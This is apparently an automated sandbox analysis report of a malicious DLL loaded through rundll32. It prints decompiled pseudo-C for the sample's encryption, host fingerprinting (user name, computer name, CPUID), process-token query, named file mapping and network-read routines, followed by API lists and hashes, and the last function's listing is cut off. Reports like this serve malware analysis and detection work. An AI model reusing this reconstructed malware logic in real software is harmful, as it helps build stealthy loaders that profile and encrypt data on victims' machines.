Memory Dump Source

Source File: 00000000.00000002.307907517.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.307900963.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.307926442.000000000085B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.307942345.000000000085D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.307956180.000000000085F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.307975452.0000000000867000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.308028193.00000000008B2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_loaddll32.jbxd

Similarity

API ID: BinaryType
String ID: .$E$T
API String ID: 3726996659-2084332913
Opcode ID: e96e41294f5fb6bf345e8bf7e4166dce44b9d53a817629ce4e816dee1236485c
Instruction ID: 22f188c13c06de23fcfaeeaf55d2584eda6a96077028993592ebc6592d72a934
Opcode Fuzzy Hash: e96e41294f5fb6bf345e8bf7e4166dce44b9d53a817629ce4e816dee1236485c
Instruction Fuzzy Hash: 6C313EB09043188BDF249F24D9593D97BB1FB01309F2481D9C8599B381D7BA8ACACF81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 6472, Parent PID: 6452COMMON

Executed Functions

Function 010F5FBB Relevance: 18.2, APIs: 12, Instructions: 163
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E010F5FBB(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x10fa0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x10fa0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E010F6D63(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x10fa0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x10fa0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E010F6C2C(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}

0x010f5fc4
0x010f5fca
0x010f5fcd
0x010f5fd3
0x010f5fd3
0x010f5fd5
0x010f5fd7
0x010f5fda
0x010f5fe0
0x010f5fe1
0x010f5fe2
0x010f5fe8
0x010f5fed
0x010f5ff3
0x010f5ffb
0x010f6158
0x010f6001
0x010f6003
0x010f600c
0x010f6011
0x010f6023
0x010f6026
0x010f602a
0x010f6031
0x010f6035
0x010f603d
0x010f6143
0x010f6043
0x010f6043
0x010f6047
0x010f6048
0x010f604a
0x010f6055
0x010f612f
0x010f605b
0x010f605b
0x010f605e
0x010f6064
0x010f606a
0x010f606a
0x010f6072
0x010f6074
0x010f6079
0x010f6120
0x010f607f
0x010f6085
0x010f6088
0x010f608b
0x010f608d
0x010f608e
0x010f6093
0x010f6095
0x010f6095
0x010f609f
0x010f60a4
0x010f60a7
0x010f60aa
0x010f60ac
0x010f60b5
0x010f60df
0x010f60b7
0x010f60c8
0x010f60c8
0x010f60e7
0x00000000
0x00000000
0x010f60e9
0x010f60ec
0x010f60ef
0x010f60f3
0x00000000
0x010f60f5
0x010f6104
0x010f610a
0x010f6112
0x010f6112
0x00000000
0x010f60f3
0x010f60f7
0x010f60fd
0x010f6102
0x010f6119
0x00000000
0x00000000
0x00000000
0x010f6102
0x010f6079
0x010f6132
0x010f6135
0x010f6135
0x010f614a
0x010f614a
0x010f6162

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,010F24D8,00000001,010F58D7,00000000), ref: 010F5FF3
memcpy.NTDLL(010F24D8,010F58D7,00000010,?,?,?,010F24D8,00000001,010F58D7,00000000,?,010F1D97,00000000,010F58D7,?,746BC740), ref: 010F600C
CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 010F6035
CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 010F604D
memcpy.NTDLL(00000000,746BC740,051A95B0,00000010), ref: 010F609F
CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,051A95B0,00000020,?,?,00000010), ref: 010F60C8
GetLastError.KERNEL32(?,?,00000010), ref: 010F60F7
GetLastError.KERNEL32 ref: 010F6129
CryptDestroyKey.ADVAPI32(00000000), ref: 010F6135
GetLastError.KERNEL32 ref: 010F613D
CryptReleaseContext.ADVAPI32(?,00000000), ref: 010F614A
GetLastError.KERNEL32(?,?,?,010F24D8,00000001,010F58D7,00000000,?,010F1D97,00000000,010F58D7,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F6152

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
String ID:
API String ID: 3401600162-0
Opcode ID: de06910478e9ae9a51ce190291af9800bfada73293971322d76605b35a858e42
Instruction ID: 165b7d16d009e362ddd850334b2ecb1ed64d46804e1ee1f0da4643241fdec852
Opcode Fuzzy Hash: de06910478e9ae9a51ce190291af9800bfada73293971322d76605b35a858e42
Instruction Fuzzy Hash: 81514EB1900209FFDB20DFA8DC86AAEBBB9FB04350F14446DFA45E7640D7369A14DB61

Uniqueness

Uniqueness Score: -1.00%

Function 008F1308 Relevance: 13.6, APIs: 9, Instructions: 120
sleepnativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E008F1308(char _a4) {
				long _v8;
				long _v12;
				char _v36;
				void* __edi;
				long _t25;
				long _t27;
				long _t28;
				long _t32;
				void* _t38;
				intOrPtr _t40;
				signed int _t44;
				signed int _t45;
				long _t50;
				intOrPtr _t52;
				signed int _t53;
				void* _t57;
				void* _t60;
				signed int _t62;
				signed int _t63;
				void* _t67;
				intOrPtr* _t68;

				_t25 = E008F10C4();
				_v8 = _t25;
				if(_t25 != 0) {
					return _t25;
				}
				do {
					_t62 = 0;
					_v12 = 0;
					_t50 = 0x30;
					do {
						_t57 = E008F10A8(_t50);
						if(_t57 == 0) {
							_v8 = 8;
						} else {
							_t44 = NtQuerySystemInformation(8, _t57, _t50,  &_v12); // executed
							_t53 = _t44;
							_t45 = _t44 & 0x0000ffff;
							_v8 = _t45;
							if(_t45 == 4) {
								_t50 = _t50 + 0x30;
							}
							_t63 = 0x13;
							_t10 = _t53 + 1; // 0x1
							_t62 =  *_t57 % _t63 + _t10;
							E008F152A(_t57);
						}
					} while (_v8 != 0);
					_t27 = E008F197C(_t57, _t62); // executed
					_v8 = _t27;
					Sleep(_t62 << 4); // executed
					_t28 = _v8;
				} while (_t28 == 9);
				if(_t28 != 0) {
					L25:
					return _t28;
				}
				if(_a4 != 0) {
					L18:
					_push(0);
					_t67 = E008F2009(E008F1BC9,  &_v36);
					if(_t67 == 0) {
						_v8 = GetLastError();
					} else {
						_t32 = WaitForSingleObject(_t67, 0xffffffff);
						_v8 = _t32;
						if(_t32 == 0) {
							GetExitCodeThread(_t67,  &_v8);
						}
						CloseHandle(_t67);
					}
					_t28 = _v8;
					if(_t28 == 0xffffffff) {
						_t28 = GetLastError();
					}
					goto L25;
				}
				if(E008F20A9(_t53,  &_a4) != 0) {
					 *0x8f41b8 = 0;
					goto L18;
				}
				_t52 = _a4;
				_t68 = __imp__GetLongPathNameW;
				_t38 =  *_t68(_t52, 0, 0); // executed
				_t60 = _t38;
				if(_t60 == 0) {
					L16:
					 *0x8f41b8 = _t52;
					goto L18;
				}
				_t19 = _t60 + 2; // 0x2
				_t40 = E008F10A8(_t60 + _t19);
				 *0x8f41b8 = _t40;
				if(_t40 == 0) {
					goto L16;
				}
				 *_t68(_t52, _t40, _t60); // executed
				E008F152A(_t52);
				goto L18;
			}

0x008f130e
0x008f1313
0x008f1318
0x008f1443
0x008f1443
0x008f1321
0x008f1321
0x008f1325
0x008f1328
0x008f1329
0x008f132f
0x008f1333
0x008f136a
0x008f1335
0x008f133d
0x008f1343
0x008f1345
0x008f134a
0x008f1350
0x008f1352
0x008f1352
0x008f1359
0x008f135f
0x008f135f
0x008f1363
0x008f1363
0x008f1371
0x008f1378
0x008f1381
0x008f1384
0x008f138a
0x008f138d
0x008f1396
0x008f143f
0x00000000
0x008f1441
0x008f139f
0x008f13f0
0x008f13f0
0x008f1406
0x008f140a
0x008f1432
0x008f140c
0x008f140f
0x008f1415
0x008f141a
0x008f1421
0x008f1421
0x008f1428
0x008f1428
0x008f1435
0x008f143b
0x008f143d
0x008f143d
0x00000000
0x008f143b
0x008f13ac
0x008f13ea
0x00000000
0x008f13ea
0x008f13ae
0x008f13b3
0x008f13ba
0x008f13bc
0x008f13c0
0x008f13e2
0x008f13e2
0x00000000
0x008f13e2
0x008f13c2
0x008f13c7
0x008f13cc
0x008f13d3
0x00000000
0x00000000
0x008f13d8
0x008f13db
0x00000000

APIs

Part of subcall function 008F10C4: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,008F1313), ref: 008F10D3
Part of subcall function 008F10C4: GetVersion.KERNEL32 ref: 008F10E2
Part of subcall function 008F10C4: GetCurrentProcessId.KERNEL32 ref: 008F10FE
Part of subcall function 008F10C4: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 008F1117

Part of subcall function 008F10A8: HeapAlloc.KERNEL32(00000000,?,008F132F,00000030,761B63F0,00000000), ref: 008F10B4

NtQuerySystemInformation.NTDLL ref: 008F133D
Sleep.KERNELBASE(00000000,00000000,00000030,761B63F0,00000000), ref: 008F1384
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 008F13BA
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 008F13D8
WaitForSingleObject.KERNEL32(00000000,000000FF,008F1BC9,?,00000000), ref: 008F140F
GetExitCodeThread.KERNEL32(00000000,00000000), ref: 008F1421
CloseHandle.KERNEL32(00000000), ref: 008F1428
GetLastError.KERNEL32(008F1BC9,?,00000000), ref: 008F1430
GetLastError.KERNEL32 ref: 008F143D

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: ErrorLastLongNamePathProcess$AllocCloseCodeCreateCurrentEventExitHandleHeapInformationObjectOpenQuerySingleSleepSystemThreadVersionWait
String ID:
API String ID: 3479304935-0
Opcode ID: f4c11322d692ff4ceb9a8bb12f7bfd117b844ccbf0baef774b2daf5f7cbd59e4
Instruction ID: 2ad665b2e044c4ea28d7b0cc6f9f0cd1ba3b03e1fec33ba0695dd6f416de6417
Opcode Fuzzy Hash: f4c11322d692ff4ceb9a8bb12f7bfd117b844ccbf0baef774b2daf5f7cbd59e4
Instruction Fuzzy Hash: 0631827190061DEADF10DBB98C48DBE7AADFF94754F204126EA01D7240DB34DE44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008F1C83 Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E008F1C83(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L008F2220();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x8f41c4;
				_push(_t15 + 0x8f505e);
				_push(_t15 + 0x8f5054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L008F221A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x8f41c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x008f1c83
0x008f1c8c
0x008f1c90
0x008f1c96
0x008f1c9b
0x008f1ca0
0x008f1ca3
0x008f1ca6
0x008f1cab
0x008f1cac
0x008f1caf
0x008f1cba
0x008f1cc1
0x008f1cc5
0x008f1cc7
0x008f1cc8
0x008f1ccb
0x008f1cd0
0x008f1cda
0x008f1cdc
0x008f1cdc
0x008f1cf0
0x008f1cf6
0x008f1cfa
0x008f1d4a
0x008f1cfc
0x008f1d05
0x008f1d1b
0x008f1d23
0x008f1d35
0x008f1d39
0x00000000
0x00000000
0x008f1d25
0x008f1d28
0x008f1d2d
0x008f1d2f
0x008f1d2f
0x008f1d10
0x008f1d12
0x008f1d3b
0x008f1d3c
0x008f1d3c
0x008f1d05
0x008f1d52

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000002,?,?,?,?,?,?,?,?,?,008F1C42,0000000A,?,?), ref: 008F1C90
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 008F1CA6
_snwprintf.NTDLL ref: 008F1CCB
CreateFileMappingW.KERNELBASE(000000FF,008F41C8,00000004,00000000,?,?), ref: 008F1CF0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,008F1C42,0000000A,?), ref: 008F1D07
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 008F1D1B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,008F1C42,0000000A,?), ref: 008F1D33
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,008F1C42,0000000A), ref: 008F1D3C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,008F1C42,0000000A,?), ref: 008F1D44

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 5a15410586d4c1a1b7d76e567d3431afbf9a4fab7613f3d71c48c0515e7c8fda
Instruction ID: 8551bc242fbc5b441cb9301c5da2c33917e188531f374a7c5c8d779596030751
Opcode Fuzzy Hash: 5a15410586d4c1a1b7d76e567d3431afbf9a4fab7613f3d71c48c0515e7c8fda
Instruction Fuzzy Hash: C82159B260010CBBDB10AFB8DC89EBE77B9FB98354F204026F715EA190DA709941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010F3365 Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E010F3365(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x10fa310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E010F2119( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x10fa344 ^ 0x46d76429;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x10fa2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E010F708D(_v8 + _v8, _t64);
							}
							HeapFree( *0x10fa2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x10fa2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E010F708D(_v8 + _v8, _t64);
						}
						HeapFree( *0x10fa2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x010f3365
0x010f336d
0x010f3371
0x010f3374
0x010f3379
0x010f337b
0x010f3380
0x010f3380
0x010f3386
0x010f3388
0x010f3395
0x010f33f6
0x010f3397
0x010f339c
0x010f33a2
0x010f33a7
0x010f33b5
0x010f33b9
0x010f33c8
0x010f33cf
0x010f33d6
0x010f33d6
0x010f33e1
0x010f33e1
0x010f33b9
0x010f33a7
0x010f33f8
0x010f33fe
0x010f3408
0x010f340a
0x010f340f
0x010f341e
0x010f3422
0x010f342d
0x010f3434
0x010f343b
0x010f343b
0x010f3447
0x010f3447
0x010f3422
0x010f3452
0x010f3454
0x010f3457
0x010f3459
0x010f345c
0x010f345f
0x010f3469
0x010f346d
0x010f3471

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 010F339C
RtlAllocateHeap.NTDLL(00000000,?), ref: 010F33B3
GetUserNameW.ADVAPI32(00000000,?), ref: 010F33C0
HeapFree.KERNEL32(00000000,00000000), ref: 010F33E1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 010F3408
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 010F341C
GetComputerNameW.KERNEL32(00000000,00000000), ref: 010F3429
HeapFree.KERNEL32(00000000,00000000), ref: 010F3447

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: a3dc3415f8449c2433db1f208ebe4c49c27b2c41e71b0b58542d660b390c2674
Instruction ID: 7e6c56504c542ea18b84040a69f943d88ac540a226a0075758a05c267e27a21c
Opcode Fuzzy Hash: a3dc3415f8449c2433db1f208ebe4c49c27b2c41e71b0b58542d660b390c2674
Instruction Fuzzy Hash: A8314A75A00205EFDB21DFA9DC82BAEBBF9FB48210F50806DE684D7614DB35E901DB20

Uniqueness

Uniqueness Score: -1.00%

Function 010F4321 Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E010F4321(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E010F6D63(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E010F6C2C(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x010f432e
0x010f432f
0x010f4330
0x010f4331
0x010f4332
0x010f4336
0x010f433d
0x010f434c
0x010f434f
0x010f4352
0x010f4359
0x010f435c
0x010f435f
0x010f4362
0x010f4365
0x010f4370
0x010f4372
0x010f437b
0x010f4383
0x010f4385
0x010f4397
0x010f43a1
0x010f43a5
0x010f43b4
0x010f43b8
0x010f43c1
0x010f43c9
0x010f43c9
0x010f43cb
0x010f43cb
0x010f43d3
0x010f43d9
0x010f43dd
0x010f43dd
0x010f43e8

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 010F4368
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 010F437B
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 010F4397

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 010F43B4
memcpy.NTDLL(?,00000000,0000001C), ref: 010F43C1
NtClose.NTDLL(?), ref: 010F43D3
NtClose.NTDLL(00000000), ref: 010F43DD

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 20a084294de51f6ac499d96682b2366d6d4dcf2eb833898a46c5b5e2e37a10de
Instruction ID: 8951a1af408c85476aada3e2cd88adffd578f8f349f7823cf1a2503e0725d8d2
Opcode Fuzzy Hash: 20a084294de51f6ac499d96682b2366d6d4dcf2eb833898a46c5b5e2e37a10de
Instruction Fuzzy Hash: D02107B1900119BFDB11AF94CC86ADEBFBDEB08744F10801AFA41E6110D7B29A449BA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F1CA5 Relevance: 9.1, APIs: 6, Instructions: 124
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E010F1CA5(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void _v20;
				void* __esi;
				void* _t30;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				int _t45;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					if(InternetReadFile( *(_t69 + 0x18),  &_v20, 4,  &_v8) != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x10fa174(0, 1,  &_v12); // executed
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E010F6D63(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_t45 = InternetReadFile( *(_t69 + 0x18), _v16, 0x1000,  &_v8); // executed
										if(_t45 != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E010F6E40( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E010F6C2C(_v16);
										if(_t64 == 0) {
											_t64 = E010F15CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E010F6E40( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E010F4A85(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x010f1ca5
0x010f1ca6
0x010f1cac
0x010f1cb7
0x010f1cb7
0x010f1cb9
0x010f7395
0x010f739a
0x010f739c
0x010f73b3
0x010f73e4
